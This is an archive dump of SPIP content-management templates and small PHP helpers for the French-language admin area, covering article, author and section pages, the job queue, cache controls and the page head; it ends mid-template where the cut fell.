]contenu/auteur.html000066600000003770152526337100010431 0ustar00[(#AUTORISER{voir,auteur,#ID_AUTEUR}|sinon_interdire_acces)]
<BOUCLE_auteur(AUTEURS){id_auteur}{statut==.*}{si #ENV{exec}|=={auteur}}>
[(#LANG|changer_typo)]
[(#BOITE_OUVRIR{[
				
	[(#AUTORISER{modifier,auteur,#ID_AUTEUR})
				
		[(#ID_AUTEUR|afficher_qui_edite{auteur}|non)
			[(#URL_ECRIRE{auteur_edit,id_auteur=#ID_AUTEUR}|icone_verticale{<:admin_modifier_auteur:>,auteur,edit,right ajax preload})]
		]
		[(#ID_AUTEUR|afficher_qui_edite{auteur}|oui)
			[(#URL_ECRIRE{auteur_edit,id_auteur=#ID_AUTEUR}|icone_verticale{#ID_AUTEUR|afficher_qui_edite{auteur},warning-24,'',right edition_deja ajax preload})]
		]
	]
	<h1>[(#RANG). ](#NOM|sinon{<:info_sans_titre:>})[(#CHEMIN_IMAGE{auteur-24.png}|balise_img{auteur,cadre-icone})]</h1>
],simple fiche_objet})]
[(#REM|changer_typo)]
<!--affiche_milieu-->

[(#ENV{email_confirm}|oui)
#BOITE_OUVRIR{'','notice'}<p><:form_auteur_envoi_mail_confirmation{email=#ENV{email_confirm}}:></p>#BOITE_FERMER
]
[(#ENV{email_modif}|oui)
#BOITE_OUVRIR{'','success'}<p><:form_auteur_email_modifie:></p>#BOITE_FERMER
]

<div id="wysiwyg">
	<h2 class="invisible"><:previsualisation:></h2>
	<INCLURE{fond=prive/objets/contenu/auteur,id=#ID_AUTEUR,id_auteur=#ID_AUTEUR,exec=#ENV{exec},wysiwyg=1}>
</div>

#PIPELINE{afficher_complement_objet,#ARRAY{args,#ARRAY{type,auteur,id,#ID_AUTEUR},data,'<div class="nettoyeur"></div>'}}

#BOITE_FERMER


[(#ENV{id_auteur}|intval|oui)

	#SET{statuts,#SESSION{statut}|statuts_articles_visibles}
	[(#ID_AUTEUR|=={#SESSION{id_auteur}}|oui) #SET{statuts,''}]
	[(#PIPELINE{affiche_auteurs_interventions,#ARRAY{args,#ARRAY{id_auteur,#ID_AUTEUR},data,#INCLURE{fond=prive/objets/liste/articles,id_auteur,statut=#GET{statuts},par=date,titre=<:info_articles_auteur:>,env,ajax}}})]
]

[(#EVAL{_AJAX}|oui)
	<script type="text/javascript">/*<!\[CDATA\[*/reloadExecPage('#ENV{exec}','#navigation,#extra');/*\]\]>*/</script>
]
</BOUCLE_auteur>
[(#ENV**{exec}|=={auteur_edit}|?{#INCLURE{fond=prive/squelettes/contenu/auteur_edit,env,retourajax=oui},#REM|sinon_interdire_acces})]
<//B_auteur>
contenu/admin_tech.html000066600000002722152526337100011213 0ustar00[(#AUTORISER{detruire}|sinon_interdire_acces)]

<h1 class="grostitre"><:titre_admin_tech:></h1>

[(#REM)
	Tester que les .htacess fonctionnent bien correctement
	et sinon mettre un gentil message d'information...
]
[(#EVAL{_DIR_TMP}|verifier_htaccess{1}|et{#EVAL{_DIR_CONNECT}|verifier_htaccess{1}}|non)

	#BOITE_OUVRIR{#VAL{htaccess_inoperant}|_T|wrap{'<h3>'},'notice','titrem'}
		[(#SET{htaccess,[<tt>(#EVAL{_ACCESS_FILE_NAME})</tt>]})]
		[(#SET{constantes,<tt>_DIR_TMP &amp; _DIR_CONNECT</tt>})]
		[(#SET{document_root,[<tt>(#EVAL{table_valeur($_SERVER,'DOCUMENT_ROOT')})</tt>]})]
		<p><:htaccess_a_simuler{htaccess=#GET{htaccess},constantes=#GET{constantes},document_root=#GET{document_root}}:></p>
	#BOITE_FERMER

]




[(#AUTORISER{reparer,base})
	<!--reparer_base-->
	#BOITE_OUVRIR{#VAL{texte_recuperer_base}|_T|wrap{'<h3>'},'simple','titrem'}
		<p><:texte_crash_base:></p>
	#BOITE_PIED
		[(#BOUTON_ACTION{<:bouton_tenter_recuperation:>,#URL_ECRIRE{base_repair}})]
	#BOITE_FERMER
	<!--/reparer_base-->
]

[(#AUTORISER{detruire}|oui)
	<!--declarer_base-->
	<div class="ajax">
		#FORMULAIRE_DECLARER_BASES
	</div>
	<!--/declarer_base-->
]

<!--effacer_base-->
#BOITE_OUVRIR{#VAL{texte_effacer_base}|_T|wrap{'<h3>'},'error','titrem'}
	<p><:info_avertissement:></p>
	<p><:texte_admin_effacer_01:></p>
	<p><strong><:avis_suppression_base:></strong></p>
#BOITE_PIED
	[(#BOUTON_ACTION{<:bouton_effacer_tout:>,#URL_ECRIRE{base_delete_all,reinstall=non}})]
#BOITE_FERMER
<!--/effacer_base-->
contenu/configurer_preferences.html000066600000000173152526337100013642 0ustar00<!-- <h1 class="grostitre"><:icone_mes_preferences:></h1> -->
<div class="ajax">
	#FORMULAIRE_CONFIGURER_PREFERENCES
</div>contenu/rubrique.html000066600000003317152526337100010757 0ustar00[(#AUTORISER{voir,rubrique,#ID_RUBRIQUE}|sinon_interdire_acces)]
<BOUCLE_rubrique(RUBRIQUES){id_rubrique}{statut?}{si #ENV{exec}|=={rubrique}}>
[(#LANG|changer_typo)]
[(#BOITE_OUVRIR{[
				
	[(#AUTORISER{modifier,rubrique,#ID_RUBRIQUE})
				
		[(#ID_RUBRIQUE|afficher_qui_edite{rubrique}|non)
			[(#URL_ECRIRE{rubrique_edit,id_rubrique=#ID_RUBRIQUE}|icone_verticale{<:icone_modifier_rubrique:>,rubrique,edit,right ajax preload})]
		]
		[(#ID_RUBRIQUE|afficher_qui_edite{rubrique}|oui)
			[(#URL_ECRIRE{rubrique_edit,id_rubrique=#ID_RUBRIQUE}|icone_verticale{#ID_RUBRIQUE|afficher_qui_edite{rubrique},warning-24,'',right edition_deja ajax preload})]
		]
	]
	<h1>[(#RANG). ](#TITRE|sinon{<:info_sans_titre:>})[(#CHEMIN_IMAGE{#ID_PARENT|?{rubrique-24.png,secteur-24.png}}|balise_img{rubrique,cadre-icone})]</h1>
],simple fiche_objet})]
[(#REM|changer_typo)]
<div id="wysiwyg">
	<h2 class="invisible"><:previsualisation:></h2>
	<INCLURE{fond=prive/objets/contenu/rubrique,id=#ID_RUBRIQUE,id_rubrique=#ID_RUBRIQUE,ajax=wysiwyg,wysiwyg=1}>
</div>

<!--affiche_milieu-->

#BOITE_FERMER

[(#PIPELINE{affiche_enfants,[(#ARRAY{args,#ARRAY{exec,rubrique,id_rubrique,#ID_RUBRIQUE,objet,rubrique,id_objet,#ID_RUBRIQUE},data,#INCLURE{fond=prive/objets/contenu/rubrique-enfants,id_rubrique,env}})]})]

#PIPELINE{afficher_complement_objet,#ARRAY{args,#ARRAY{type,rubrique,id,#ID_RUBRIQUE},data,'<div class="nettoyeur"></div>'}}

[(#EVAL{_AJAX}|oui)
	<script type="text/javascript">/*<!\[CDATA\[*/reloadExecPage('#ENV{exec}','#navigation,#chemin,#extra');/*\]\]>*/</script>
]
</BOUCLE_rubrique>
[(#ENV**{exec}|=={rubrique_edit}|?{#INCLURE{fond=prive/squelettes/contenu/rubrique_edit,redirect='',env,retourajax=oui},#REM|sinon_interdire_acces})]
<//B_rubrique>
contenu/plan.html000066600000001335152526337100010051 0ustar00<BOUCLE_rub(RUBRIQUES){id_rubrique}{statut==.*}>
	#BOITE_OUVRIR{'','note'}
		<a class='annule_filtre[(#EVAL{_AJAX}|oui)ajax]'
			 href='[(#SELF|parametre_url{id_rubrique,''})]' title="<:lien_tout_afficher|attribut_html:>">[(#CHEMIN_IMAGE{fermer-16.png}|balise_img|inserer_attribut{alt,<:lien_tout_afficher:>})]</a>
		<:entree_interieur_rubrique:>
		<h3><a href="[(#ID_RUBRIQUE|generer_url_entite{rubrique})]">[(#TITRE|sinon{<:info_sans_titre:>})]</a></h3>
	#BOITE_FERMER
	<INCLURE{fond=prive/squelettes/inclure/plan-rubriques,id_rubrique=#ENV{id_rubrique},id_parent=#ID_PARENT}>
</BOUCLE_rub>

	<INCLURE{fond=prive/squelettes/inclure/plan-rubriques,id_parent=0}>
<//B_rub>
<a id="reloadmain" href="#SELF" class="ajax none">reload</a>contenu/job_queue.html000066600000003412152526337100011073 0ustar00#CACHE{0}
[(#AUTORISER{administrer,queue}|sinon_interdire_acces)]
[(#REM|job_queue_block_and_watch)]
<h1 class="grostitre"><:queue_titre:></h1>
<B_jobs>
	<div class="liste">
		<h3>[(#GRAND_TOTAL|singulier_ou_pluriel{queue_one_job_in_queue,queue_nb_jobs_in_queue})]</h3>
		<p>#SET{nb,#REM|queue_sleep_time_to_next_job}<:queue_next_job_in_nb_sec{nb=#GET{nb}}:></p>
		[<p class="pagination">(#PAGINATION{prive})</p>]
		<ul class="liste-items">
			<BOUCLE_jobs(jobs){par date}{pagination 20}>
				<li class="item[ (#STATUS|?{'scheduled','pending'})]">
					<div class="date">[(#DATE|date_relative)][ (#STATUS|non)(en cours)][(#PRIORITE|oui)&#91;#PRIORITE&#93;]</div>
					[<strong class="description">(#DESCRIPTIF|PtoBR)</strong>]
					[<span class="small">| #FONCTION((#ARGS|unserialize|implode{','}))</span>]
					[(#AUTORISER{'annuler','job',#ID_JOB}|oui)
					<div class="actions">
						[(#BOUTON_ACTION{<:annuler:>,#URL_ACTION_AUTEUR{annuler_job,#ID_JOB,#SELF},ajax})]
						[(#BOUTON_ACTION{<:queue_executer_maintenant:>,#URL_ACTION_AUTEUR{forcer_job,#ID_JOB,#SELF}})]
					</div>
					]
				</li>
			</BOUCLE_jobs>
		</ul>
		[<p class="pagination">(#PAGINATION{prive})</p>]
		[(#AUTORISER{'purger','queue'}|oui)
		<p><:queue_info_purger:></p>
		<div class="actions">
			[(#BOUTON_ACTION{<:queue_purger_queue:>,#URL_ACTION_AUTEUR{purger_queue,'x',#SELF},ajax})]
		</div>
		]
		</div>
</B_jobs>
	<h3><:queue_no_job_in_queue:></h3>
	[(#AUTORISER{'purger','queue'}|oui)
	<p><:queue_info_purger:></p>
	<div class="actions">
		[(#BOUTON_ACTION{<:queue_purger_queue:>,#URL_ACTION_AUTEUR{purger_queue,'x',#SELF},ajax})]
	</div>
	]
<//B_jobs>
<script type="text/javascript">/*<![CDATA[*/
function queue_reload(){jQuery('h1').ajaxReload();}
if (window.jQuery) setTimeout(queue_reload,60000);
/*]]>*/</script>contenu/job_queue_fonctions.php000066600000000510152526337100012774 0ustar00<?php

if (!defined('_ECRIRE_INC_VERSION')) return;

	function job_queue_block_and_watch(){
		// bloquer la queue sur ce hit
		// pour avoir coherence entre l'affichage de la liste de jobs
		// et les jobs en base en fin de hit
		define('_DEBUG_BLOCK_QUEUE',true);
		include_spip('inc/genie');
		genie_queue_watch_dist();
	}

?>contenu/configurer_contenu.html000066600000000526152526337100013016 0ustar00[(#AUTORISER{configurer,_contenu}|sinon_interdire_acces)]
<h1 class="grostitre"><:onglet_contenu_site:></h1>
<div class="ajax">
	#FORMULAIRE_CONFIGURER_ARTICLES
</div>

<div class="ajax">
	#FORMULAIRE_CONFIGURER_RUBRIQUES
</div>

<div class="ajax">
	#FORMULAIRE_CONFIGURER_LOGOS
</div>

<div class="ajax">
	#FORMULAIRE_CONFIGURER_FLUX
</div>
contenu/recherche_fonctions.php000066600000000623152526337100012753 0ustar00<?php

if (!defined('_ECRIRE_INC_VERSION')) return;

include_spip('inc/rechercher');
include_spip('base/abstract_sql');

function inclure_liste_recherche_par_id($table,$id,$statut,$env){
	if (is_string($env))
		$env = unserialize($env);
	$env[id_table_objet($table)]=$id;
	if ($statut)
		$env['statut'] = $statut;
	unset($env['recherche']);
	return recuperer_fond("prive/objets/liste/$table",$env);
}
?>contenu/articles.html000066600000001630152526337100010723 0ustar00<h1 class="grostitre"><:titre_page_articles_page:></h1>
<div class='onglets_simple clearfix'>
	<ul>
		<li>[(#SELF|parametre_url{id_auteur,''}|lien_ou_expose{<:info_articles_tous:>,[(#ENV{id_auteur,''}|non)],ajax})]</li>
		<li>[(#SELF|parametre_url{id_auteur,#SESSION{id_auteur}}|lien_ou_expose{<:info_articles_miens:>,#ENV{id_auteur,''}|=={#SESSION{id_auteur}},ajax})]</li>
	</ul>
</div>

#FORMULAIRE_RECHERCHE_ECRIRE{#SELF,ajax}
<div class="nettoyeur"></div>

#SET{statuts,#SESSION{statut}|statuts_articles_visibles}
[(#ENV{id_auteur,''}|=={#SESSION{id_auteur}}|oui)
	#SET{statuts,#GET{statuts}|array_merge{#LISTE{prepa}}}
]
<INCLURE{fond=prive/objets/liste/articles,statut=#GET{statuts},par=date,id_auteur=#ENV{id_auteur,''},nb=30,env,ajax}>

[(#AUTORISER{creer,article})
	[(#URL_ECRIRE{article_edit,new=oui}|parametre_url{id_rubrique,#ENV{id_rubrique}}|icone_verticale{<:icone_ecrire_article:>,article,new,right})]
]
contenu/suivi_edito.html000066600000001621152526337100011440 0ustar00<h1 class="grostitre"><:info_suivi_activite:></h1>
#SET{recentwhere,''}
<BOUCLE_haspostdate(ARTICLES){statut=publie}{0,1}>
	[(#SET{recentwhere,[NOT ((#VAL{date}|quete_condition_postdates))]})]
	<INCLURE{fond=prive/objets/liste/articles,titre=<:info_article_a_paraitre:>,statut=publie,par=date,date_sens=1,nb=5,where=#GET{recentwhere},env,ajax} />
	[(#SET{recentwhere,[(#VAL{date}|quete_condition_postdates)]})]
</BOUCLE_haspostdate>


[(#REM)

	En cours de validation

][
	[(#BOITE_OUVRIR{<:texte_en_cours_validation:>,'basic highlight'})]
	(#PIPELINE{accueil_encours,#INCLURE{fond=prive/objets/liste/articles,titre=<:info_articles_proposes:>,statut=prop,id_rubrique,par=date,ajax,env}})

	[(#VAL{a_suivre}|bouton_spip_rss)]

	#BOITE_FERMER
]

[(#REM)

	Les articles recents

]
<INCLURE{fond=prive/objets/liste/articles,titre=<:articles_recents:>,statut=publie,par=date,where=#GET{recentwhere},nb=5,env,ajax} />

contenu/article.html000066600000005270152526337100010544 0ustar00[(#AUTORISER{voir,article,#ID_ARTICLE}|sinon_interdire_acces)]
<BOUCLE_article(ARTICLES){id_article}{statut==.*}{si #ENV{exec}|=={article}}>
[(#LANG|changer_typo)]
[(#BOITE_OUVRIR{[
				
	[(#AUTORISER{modifier,article,#ID_ARTICLE})
				
		[(#ID_ARTICLE|afficher_qui_edite{article}|non)
			[(#URL_ECRIRE{article_edit,id_article=#ID_ARTICLE}|icone_verticale{<:icone_modifier_article:>,article,edit,right ajax preload})]
		]
		[(#ID_ARTICLE|afficher_qui_edite{article}|oui)
			[(#URL_ECRIRE{article_edit,id_article=#ID_ARTICLE}|icone_verticale{#ID_ARTICLE|afficher_qui_edite{article},warning-24,'',right edition_deja ajax preload})]
		]
	]
	[<h4 class='surtitre'>(#SURTITRE)</h4>]
	<h1>[(#RANG). ](#TITRE|sinon{<:info_sans_titre:>})[(#CHEMIN_IMAGE{article-24.png}|balise_img{article,cadre-icone})]</h1>
	[<h2 class='soustitre'>(#SOUSTITRE)</h2>]
],simple fiche_objet})]
[(#REM|changer_typo)]
<div class="ajax">
	#FORMULAIRE_DATER{article,#ID_ARTICLE}
</div>

<div class="ajax">
	#FORMULAIRE_EDITER_LIENS{auteurs,article,#ID_ARTICLE}
</div>

<!--affiche_milieu-->
<BOUCLE_proposer(ARTICLES)
	{id_article}
	{statut=prepa}
	{id_auteur=#SESSION{id_auteur}}
	{si #SESSION{statut}|=={1comite}|et{#AUTORISER{modifier,article,#ID_ARTICLE}}}
	>
#BOITE_OUVRIR{'',note center proposer}
	<p><:texte_proposer_publication:></p>
	[(#BOUTON_ACTION{<:bouton_demande_publication:>,#URL_ACTION_AUTEUR{instituer_objet,article-#ID_ARTICLE-prop,#SELF},'',<:confirm_changer_statut:>})]
#BOITE_FERMER
</BOUCLE_proposer>
[(#STATUT|=={prop}|oui)
#BOITE_OUVRIR{'',note center propose}
<p><:text_article_propose_publication:></p>
#BOITE_FERMER
]

<div id="wysiwyg">
	<h2 class="invisible"><:previsualisation:></h2>
<INCLURE{fond=prive/objets/contenu/article,id=#ID_ARTICLE,id_article=#ID_ARTICLE,virtuel=oui,ajax=wysiwyg,wysiwyg=1}>
</div>

<div class="nettoyeur"></div>

[(#AUTORISER{modifier,article,#ID_ARTICLE})

	[(#ID_ARTICLE|afficher_qui_edite{article}|non)
		[(#URL_ECRIRE{article_edit,id_article=#ID_ARTICLE}|icone_verticale{<:icone_modifier_article:>,article,edit,right ajax preload})]
	]
	[(#ID_ARTICLE|afficher_qui_edite{article}|oui)
		[(#URL_ECRIRE{article_edit,id_article=#ID_ARTICLE}|icone_verticale{#ID_ARTICLE|afficher_qui_edite{article},warning-24,'',right edition_deja ajax preload})]
	]
]

#PIPELINE{afficher_complement_objet,#ARRAY{args,#ARRAY{type,article,id,#ID_ARTICLE},data,'<div class="nettoyeur"></div>'}}

#BOITE_FERMER
[(#EVAL{_AJAX}|oui)
	<script type="text/javascript">/*<!\[CDATA\[*/reloadExecPage('#ENV{exec}','#navigation,#chemin,#extra');/*\]\]>*/</script>
]
</BOUCLE_article>
[(#ENV**{exec}|=={article_edit}|?{#INCLURE{fond=prive/squelettes/contenu/article_edit,redirect='',env,retourajax=oui},#REM|sinon_interdire_acces})]
<//B_article>
contenu/navigation.html000066600000000131152526337100011247 0ustar00<INCLURE{fond=prive/squelettes/inclure/menu-navigation, 
	menu, 
	bloc=contenu,
	env} />
contenu/configurer_interactions.html000066600000001171152526337100014042 0ustar00[(#AUTORISER{configurer,_interactions}|sinon_interdire_acces)]
<h1 class="grostitre"><:onglet_interactivite:></h1>
<div class='contenu_public'>
	<h3><:titre_config_contenu_public:></h3>

	<div class="ajax">
		#FORMULAIRE_CONFIGURER_REDACTEURS
	</div>

	<div class="ajax">
		#FORMULAIRE_CONFIGURER_VISITEURS
	</div>

	<!--contenu_public-->
</div>

<div class='contenu_prive'>
	<h3><:titre_config_contenu_prive:></h3>

	<!--contenu_prive-->
</div>

<div class='contenu_notifications'>
	<h3><:titre_config_contenu_notifications:></h3>

	<div class="ajax">
		#FORMULAIRE_CONFIGURER_ANNONCES
	</div>

	<!--contenu_notifications-->
</div>
objet.html000066600000000155152526337100006546 0ustar00<INCLURE{fond=prive/squelettes/structure}{env}{type=#ENV{page,#ENV{type}}}{composition=#ENV{composition,''}}>head/dist.html000066600000000532152526337100007306 0ustar00[(#REM)

  Squelette
  (c) 2009 xxx
  Distribue sous licence GPL

]
[(#REM) Si pas de title, celui ci sera mis automatiquement par f_title_auto
en capturant le premier <h1> de la page]
#SET{paramcss,#REM|parametres_css_prive}
#PIPELINE{header_prive,#INCLURE{fond=prive/squelettes/inclure/head,titre,minipres,paramcss=#GET{paramcss},espace_prive}}extra/article.html000066600000000650152526337100010211 0ustar00<BOUCLE_extra(ARTICLES){id_article}{statut?}{si #ENV{exec}|=={article}}>
#SET{statut,#SESSION{statut}|statuts_articles_visibles}
#SET{where,#VAL{id_article!=}|concat{#ID_ARTICLE}}
<INCLURE{fond=prive/objets/liste/articles-memerubrique,id_rubrique=#ID_RUBRIQUE,where=#GET{where},statut=#GET{statut},ajax}>

</BOUCLE_extra>
[(#ENV{exec}|=={article_edit}|oui)<INCLURE{fond=prive/squelettes/extra/article_edit,env}>]
<//B_extra>extra/dist.html000066600000000122152526337100007523 0ustar00[(#REM)

  Squelette
  (c) 2009 xxx
  Distribue sous licence GPL

]
<!-- extra -->inclure/admin_vider_cache.html000066600000002567152526337100012521 0ustar00[(#AUTORISER{configurer,_admin_vider}|oui)
#BOITE_OUVRIR{#CHEMIN_IMAGE{cache-24.png}|balise_img{'',cadre-icone}|concat{#VAL{taille_repertoire_cache}|_T}|wrap{'<h3>'},'simple','titrem'}

	<div id="placehoder_taille_cache"><p>&nbsp;</p></div>
	<script type="text/javascript">
		jQuery(function(){jQuery('#placehoder_taille_cache').animateLoading().load('[(#URL_ACTION_AUTEUR{calculer_taille_cache,skel}|replace{&amp;,&})]');});
	</script>
	<noscript>
		<iframe src="#URL_ACTION_AUTEUR{calculer_taille_cache,skel}" style="width: 100%;height: 3em;overflow: hidden;"></iframe>
	</noscript>
	#SET{quota,#EVAL{$GLOBALS}|table_valeur{quota_cache}}
	<p>
		[(#GET{quota}|non) <:taille_cache_infinie:>]
		[(#GET{quota}|oui)
			#SET{quota,#GET{quota}|mult{1024}|mult{1024}|taille_en_octets}
			<:taille_cache_maxi{octets=#GET{quota}}:>
		]
		(<:cache_modifiable_webmestre:>)
	</p>

	#SET{cache_inhib,#CONFIG{cache_inhib}|sinon{0}|>{#REM|time}|oui}

	[(#GET{cache_inhib}|oui)
	<div><strong><:info_cache_desactive:></strong>
	</div>
	]

#BOITE_PIED
	[(#GET{cache_inhib}|non)
		[(#BOUTON_ACTION{<:bouton_cache_desactiver:>,#URL_ACTION_AUTEUR{purger,inhibe_cache,#SELF},ajax})]
	]
	[(#GET{cache_inhib}|oui)
 		[(#BOUTON_ACTION{<:bouton_cache_activer:>,#URL_ACTION_AUTEUR{purger,reactive_cache,#SELF},ajax})]
	]
	[(#BOUTON_ACTION{<:bouton_vider_cache:>,#URL_ACTION_AUTEUR{purger,cache,#SELF},ajax})]
#BOITE_FERMER
]
inclure/head.html000066600000005147152526337100010013 0ustar00[(#REM)
Appel au script php en attendant de reecrire le head ici
]
[<title>(#ENV{titre,''})</title>
]
<meta http-equiv="Content-Type" content="text/html[; charset=(#CONFIG{charset})]" />
<script type='text/javascript'>/*<![CDATA[*/
var url_menu_rubrique="[(#EVAL{_DIR_RACINE}|sinon{./}|concat{#EVAL{_SPIP_SCRIPT}})]?action=menu_rubriques\x26date=#CONFIG{date_calcul_rubriques}";
(function(H){H.className=H.className.replace(/\bno-js\b/,'js')})(document.documentElement);
[(#EVAL{$_COOKIE}|table_valeur{spip_accepte_ajax}|>={1}|non)
function test_accepte_ajax(){jQuery.ajax({"url":"[(#URL_ECRIRE{test_ajax,js=1}|replace{'&amp;','\x26'})]"});}
][(#EVAL{_OUTILS_DEVELOPPEURS}|oui)var _OUTILS_DEVELOPPEURS=true;
]var ajax_image_searching = '<img src="#CHEMIN_IMAGE{searching.gif}" alt="" />';
var stat = [(#CONFIG{activer_statistiques}|=={non}|?{0,1})];
var confirm_changer_statut = '<:confirm_changer_statut|html2unicode|addslashes|unicode_to_javascript:>';
/*]]>*/</script>
<meta name="viewport" content="width=device-width" />
[<link rel="stylesheet" type="text/css" href="(#VAL{reset.css}|find_in_theme|url_absolue)" id="csspriveereset" />]
#PIPELINE{header_prive_css,''}
[<!--
(#REM) CSS de secours en cas de non fonct de la suivante
-->][<link rel="stylesheet" type="text/css" href="(#VAL{style_prive_defaut.css}|find_in_theme|url_absolue)" id="csspriveedef" />]
[<!--
(#REM) spip-admin pour le debug
-->][<link rel="stylesheet" type="text/css" href="(#CHEMIN{spip_admin.css}|url_absolue)"/>]
[<!--
(#REM) CSS espace prive : la vraie
-->]<link rel="stylesheet" type="text/css" href="#URL_PAGE{style_prive.css,#ENV{paramcss}}" />
[<!--
(#REM) CSS optionelle minipres
-->][(#ENV{minipres,''}|oui)
[<link rel="stylesheet" type="text/css" href="(#CHEMIN{minipres.css}|url_absolue)" />]
][<!--
(#REM) Favicon
-->][<link rel="shortcut icon" href="(#CHEMIN{spip.ico}|url_absolue)" type="image/x-icon" />]

<link rel="alternate" type="application/rss+xml" title="[(#NOM_SITE_SPIP|attribut_html)]" href="#URL_PAGE{backend}" />
<link rel="help" type="text/html" title="<:icone_aide_ligne|attribut_html:>" href="#URL_PAGE{aide,var_lang=#LANG}" />
[(#CONFIG{activer_breves}|=={non}|non)
<link rel="alternate" type="application/rss+xml" title="<:info_breves_03|attribut_html:>" href="#URL_PAGE{backend-breves}" />
]

[<script type="text/javascript" src="(#CHEMIN{prive/javascript/layer_old.js})"></script>]
[<script type="text/javascript" src="(#CHEMIN{prive/javascript/layer.js})"></script>]
[<script type="text/javascript" src="(#CHEMIN{prive/javascript/presentation.js})"></script>]
[<script type="text/javascript" src="(#CHEMIN{prive/javascript/gadgets.js})"></script>]
inclure/menu-navigation_fonctions.php000066600000000125152526337100014107 0ustar00<?php

if (!defined('_ECRIRE_INC_VERSION')) return;

include_spip('inc/bandeau');

?>inclure/plan-rubriques.html000066600000002432152526337100012055 0ustar00#SET{nomp,rubrub#ID_RUBRIQUE}
#SET{nb,50}
<B_rubriques>
	[<p class="pagination">[<em>(#VAL{rubrique}|objet_info{texte_objets}|_T)</em>](#PAGINATION{prive})</p>]
	<ul class="menu-items rubriques">
		<BOUCLE_rubriques(RUBRIQUES) {id_parent}{id_rubrique?} {par num titre,titre}{statut==.*}{pagination #GET{nb} #GET{nomp}}>
			<li class="item">
				<a href="[(#SELF|parametre_url{id_rubrique,#ID_RUBRIQUE})]"
				title="[(#VAL{rubrique}|objet_info{texte_objet}|_T) #ID_RUBRIQUE]"
				onclick="jQuery('#reloadmain').attr('href',this.href).followLink();return false;"
				><strong>[(#STATUT|puce_statut{rubrique}) ][(#TITRE|couper{100}|sinon{<:info_sans_titre:>})]</strong></a>

				<BOUCLE_objets(DATA){source table,#REM|lister_tables_objets_sql}{cle!=spip_rubriques}>
				[(#VALEUR{field}|table_valeur{id_rubrique}|oui)
					#SET{fond,#VAL{prive/squelettes/inclure/plan-}|concat{#VALEUR{table_objet}}}
					[(#GET{fond}|trouver_fond|oui)
						<INCLURE{fond=#GET{fond},id_rubrique=#_rubriques:ID_RUBRIQUE,env,ajax}>
					]
				]</BOUCLE_objets>
				<INCLURE{fond=prive/squelettes/inclure/plan-rubriques,id_parent=#ID_RUBRIQUE,id_rubrique='',env,ajax}>
			</li>
		</BOUCLE_rubriques>
	</ul>
	[<p class="pagination">[<em>(#VAL{rubrique}|objet_info{texte_objets}|_T)</em>](#PAGINATION{prive})</p>]
</B_rubriques>
inclure/plan-articles.html000066600000001453152526337100011644 0ustar00#SET{nomp,artrub#ID_RUBRIQUE}
#SET{nb,50}
<B_articles>
	<div class="menu">
	<h4><:articles:></h4>
	[<p class="pagination">[<em>(#VAL{article}|objet_info{texte_objets}|_T)</em>](#PAGINATION{prive})</p>]
	<ul class="menu-items articles">
		<BOUCLE_articles(ARTICLES) {id_rubrique} {par titre}{statut IN #SESSION{statut}|statuts_articles_visibles}{pagination #GET{nb} #GET{nomp}}{lang_select=non}>
			<li class="item"><a href="[(#ID_ARTICLE|generer_url_entite{article})]"
							title="[(#VAL{article}|objet_info{texte_objet}|_T) #ID_ARTICLE]">[(#STATUT|puce_statut{article,#ID_ARTICLE,#ID_RUBRIQUE}) ][(#TITRE|couper{80}|sinon{<:info_sans_titre:>})]</a></li>
		</BOUCLE_articles>
	</ul>
	[<p class="pagination">[<em>(#VAL{article}|objet_info{texte_objets}|_T)</em>](#PAGINATION{prive})</p>]
	</div>
</B_articles>
inclure/configurer.html000066600000000152152526337100011244 0ustar00[(#AUTORISER{bouton,#ENV{configurer}}|oui)
<div class="ajax">
	[(#FORMULAIRE_{#ENV{configurer}})]
</div>
]inclure/admin_vider_images.html000066600000001353152526337100012713 0ustar00[(#AUTORISER{configurer,_admin_vider}|oui)

#BOITE_OUVRIR{#CHEMIN_IMAGE{image-24.png}|balise_img{'',cadre-icone}|concat{#VAL{info_images_auto}|_T}|wrap{'<h3>'},'simple','titrem'}

	<div id="placehoder_taille_cache_images"><p>&nbsp;<br />&nbsp;<br />&nbsp;<br /></p></div>
	<script type="text/javascript">
		jQuery(function(){jQuery('#placehoder_taille_cache_images').animateLoading().load('[(#URL_ACTION_AUTEUR{calculer_taille_cache,images}|replace{&amp;,&})]');});
	</script>
	<noscript>
		<iframe src="#URL_ACTION_AUTEUR{calculer_taille_cache,images}" style="width: 100%;height: 3em;overflow: hidden;"></iframe>
	</noscript>

#BOITE_PIED
	[(#BOUTON_ACTION{<:bouton_vider_cache:>,#URL_ACTION_AUTEUR{purger,vignettes,#SELF},ajax})]
#BOITE_FERMER
]inclure/barre-nav_fonctions.php000066600000000173152526337100012666 0ustar00<?php

if (!defined('_ECRIRE_INC_VERSION')) return;

include_spip('inc/bandeau');
include_spip('action/menu_rubriques');
?>inclure/pied.html000066600000000504152526337100010023 0ustar00#CACHE{86400}
<div id='copyright'>
	[(#REM|info_maj_spip)]
	[(#REM|info_copyright)]
	[(#SET{home_server,#EVAL{$GLOBALS}|table_valeur{home_server}|concat{'/',#EVAL{$GLOBALS}|table_valeur{spip_lang}}})]
	<p><:info_copyright_doc{spipnet=#GET{home_server},spipnet_affiche=#GET{home_server}}:></p>
</div>
[(#REM**|html_tests_js)]inclure/accueil-information.html000066600000002525152526337100013037 0ustar00<div class='accueil_informations articles liste'>
	[(#SET{titre,#ARRAY{prepa,<:texte_statut_en_cours_redaction:>,prop,<:texte_statut_attente_validation:>,publie,<:texte_statut_publies:>}})]
<B_cpt>
	<h4>[(#URL_ECRIRE{articles}|afficher_plus_info{<:info_articles_2:>, <:info_articles:>})]</h4>
	<ul class="liste-items">
		<BOUCLE_cpt(DATA){liste prepa,prop,publie}><BOUCLE_arts(ARTICLES){statut=#VALEUR}{pagination 1}>
			<li class="item[(#STATUT|=={publie}|oui)on]">
				[(#GET{titre}|table_valeur{#VALEUR})]&nbsp;:
				#SET{restreints,0}
				<BOUCLE_restreints(RUBRIQUES){id_auteur=#SESSION{id_auteur}}{si #SESSION{statut}|=={0minirezo}}>
				<BOUCLE_artsr(ARTICLES){statut=#VALEUR}{branche} />#SET{restreints,#GET{restreints}|plus{#TOTAL_BOUCLE}}<//B_artsr>
				</BOUCLE_restreints>
				[(#GET{restreints}|oui)#GET{restreints}/]</B_restreints>#GRAND_TOTAL
			</li>
		</BOUCLE_arts></BOUCLE_cpt>
	</ul>
</B_cpt>
</div>


<div class='accueil_informations auteurs liste'>
	<B_cpta>
		<h4>[(#URL_ECRIRE{auteurs}|afficher_plus_info{<:icone_auteurs:>, <:icone_auteurs:>})]</h4>
		<ul class="liste-items">
